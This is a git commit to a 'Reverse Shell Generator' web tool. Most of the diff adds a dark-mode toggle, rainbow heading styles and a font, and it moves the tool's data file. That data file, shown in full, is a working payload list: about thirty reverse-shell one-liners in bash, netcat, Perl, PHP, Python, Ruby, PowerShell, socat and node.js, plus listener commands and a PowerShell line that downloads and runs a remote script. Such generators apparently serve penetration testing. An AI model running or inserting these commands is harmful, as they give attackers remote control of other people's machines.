Dark/Light Mode

Dark & "Light" mode added via a toggle button.
This commit is contained in:
Chris Papadopoulos 2021-02-28 02:34:59 +02:00 committed by briskets
parent f5cdb1b167
commit b25bd20ef3
6 changed files with 280 additions and 18 deletions

BIN
ComicMono.ttf Normal file

Binary file not shown.

22
css/dark-mode.css Normal file
View File

@ -0,0 +1,22 @@
[data-theme="dark"] {
background-color: pink !important;
}
[data-theme="dark"] .bg-light {
background-color: #333 !important;
}
[data-theme="dark"] .bg-white {
background-color: #000 !important;
}
[data-theme="dark"] .rainbow {
font-family: 'Pacifico', cursive;
text-shadow: 2px 2px 4px #000000;
font-size:40px;
-webkit-animation: rainbow 5s infinite;
-ms-animation: rainbow 5s infinite;
animation: rainbow 5s infinite;
font-family: ComicMono;
src: url(ComicMono.ttf);
}

View File

@ -3,17 +3,156 @@
<head> <head>
<title>Reverse Shell Generator</title> <title>Reverse Shell Generator</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="icon" href="favicon.ico" type="image/ico" sizes="16x16"> <link rel="icon" href="favicon.ico" type="image/ico" sizes="16x16">
<link href="assets/bootstrap.min.css" rel="stylesheet"> <link href="assets/bootstrap.min.css" rel="stylesheet">
<script src="assets/jquery-3.5.1.slim.min.js"></script> <script src="assets/jquery-3.5.1.slim.min.js"></script>
<script src="assets/popper-1.16.1.min.js"></script> <script src="assets/popper-1.16.1.min.js"></script>
<script src="assets/bootstrap-4.5.2.min.js"></script> <script src="assets/bootstrap-4.5.2.min.js"></script>
<link rel="stylesheet" href="css/dark-mode.css">
<style> <style>
@-webkit-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Internet Explorer */
@-ms-keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
/* Standar Syntax */
@keyframes rainbow {
0% {
color: orange;
}
10% {
color: purple;
}
20% {
color: red;
}
30% {
color: CadetBlue;
}
40% {
color: yellow;
}
50% {
color: coral;
}
60% {
color: green;
}
70% {
color: cyan;
}
80% {
color: DeepPink;
}
90% {
color: DodgerBlue;
}
100% {
color: orange;
}
}
.prompt-sign { .prompt-sign {
position: absolute; position: absolute;
top: 25px; top: 25px;
@ -73,23 +212,28 @@
h2 { h2 {
text-align: center; text-align: center;
} }
h1 {
color: rgba(100, 50, 255, .8);
font-family: 'ComicMono';
color: #212121;
}
</style> </style>
</head> </head>
<body> <body class="bg-black">
<!-- TODO: Light/Dark Mode
<div class="custom-control custom-switch float-right">
<input id="mode-advanced-switch" type="checkbox" class="custom-control-input">
<label for="mode-advanced-switch" class="custom-control-label small pr-2 pb-1"
style="padding-top:2px" data-toggle="tooltip" title="Toggle Dark Mode">
Dark/Light Mode
</label>
</div> -->
<div class="container d-flex flex-column vh-100"> <div class="container d-flex flex-column vh-100">
<div class="custom-control custom-switch float-right">
<input id="darkSwitch" type="checkbox" class="custom-control-input">
<label for="darkSwitch" class="custom-control-label small pr-2 pb-1" style="padding-top:2px"
data-toggle="tooltip" title="Toggle Dark Mode">🌓
</label>
</div>
<script src="js/dark-mode-switch.min.js"></script>
<!-- Header --> <!-- Header -->
<div class="row justify-content-center mt-3 mb-5"> <div class="mb-auto row justify-content-center mt-3 mb-5">
<h2>Reverse Shell Generator</h2> <h2 class="rainbow">Reverse Shell Generator</h2>
</div> </div>
@ -320,7 +464,7 @@
</div> </div>
<!-- RSG data --> <!-- RSG data -->
<script src="data.js"></script> <script src="js/data.js"></script>
<!-- RSG logic --> <!-- RSG logic -->
<script> <script>
@ -534,8 +678,8 @@
* @param {String} attribute - Attribute of element to set to localStorage value * @param {String} attribute - Attribute of element to set to localStorage value
*/ */
const setLocalStorage = (element, key, attribute) => { const setLocalStorage = (element, key, attribute) => {
if (!element || typeof element !== "object") return; if (!element || typeof element !== "object") return;
localStorage.setItem(key, element[attribute]); localStorage.setItem(key, element[attribute]);
} }
/** /**

46
js/dark-mode-switch.js Normal file
View File

@ -0,0 +1,46 @@
var darkSwitch = document.getElementById("darkSwitch");
window.addEventListener("load", function () {
if (darkSwitch) {
initTheme();
darkSwitch.addEventListener("change", function () {
resetTheme();
});
}
});
/**
* Summary: function that adds or removes the attribute 'data-theme' depending if
* the switch is 'on' or 'off'.
*
* Description: initTheme is a function that uses localStorage from JavaScript DOM,
* to store the value of the HTML switch. If the switch was already switched to
* 'on' it will set an HTML attribute to the body named: 'data-theme' to a 'dark'
* value. If it is the first time opening the page, or if the switch was off the
* 'data-theme' attribute will not be set.
* @return {void}
*/
function initTheme() {
var darkThemeSelected =
localStorage.getItem("darkSwitch") !== null &&
localStorage.getItem("darkSwitch") === "dark";
darkSwitch.checked = darkThemeSelected;
darkThemeSelected
? document.body.setAttribute("data-theme", "dark")
: document.body.removeAttribute("data-theme");
}
/**
* Summary: resetTheme checks if the switch is 'on' or 'off' and if it is toggled
* on it will set the HTML attribute 'data-theme' to dark so the dark-theme CSS is
* applied.
* @return {void}
*/
function resetTheme() {
if (darkSwitch.checked) {
document.body.setAttribute("data-theme", "dark");
localStorage.setItem("darkSwitch", "dark");
} else {
document.body.removeAttribute("data-theme");
localStorage.removeItem("darkSwitch");
}
}

1
js/dark-mode-switch.min.js vendored Normal file
View File

@ -0,0 +1 @@
function initTheme(){var e=null!==localStorage.getItem("darkSwitch")&&"dark"===localStorage.getItem("darkSwitch");darkSwitch.checked=e,e?document.body.setAttribute("data-theme","dark"):document.body.removeAttribute("data-theme")}function resetTheme(){darkSwitch.checked?(document.body.setAttribute("data-theme","dark"),localStorage.setItem("darkSwitch","dark")):(document.body.removeAttribute("data-theme"),localStorage.removeItem("darkSwitch"))}var darkSwitch=document.getElementById("darkSwitch");window.addEventListener("load",function(){darkSwitch&&(initTheme(),darkSwitch.addEventListener("change",function(){resetTheme()}))});

49
js/data.js Normal file
View File

@ -0,0 +1,49 @@
const rsgData = {
listenerCommands: [
['pwncat', 'python3 -m pwncat -lp {port}'],
['nc', 'nc -lvnp {port}'],
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
],
shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
reverseShellsCommands: [
['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'],
['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'],
['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'],
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
['nc -e', 'nc -e /bin/{shell} {ip} {port}'],
['nc -c', 'nc -c {shell} {ip} {port}'],
['ncat -e', 'ncat {ip} {port} -e /bin/{shell} '],
['ncat udp', 'ncat {ip} {port} -e /bin/{shell}'],
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/{shell} -i");};\''],
['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''],
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");\''],
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;\''],
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");\''],
['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'],
['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'],
['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'],
['PowerShell #3 (Base64)', undefined],
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/{shell}")\''],
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/{shell}")\''],
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''],
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')']
],
specialCommands: {
'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
}
}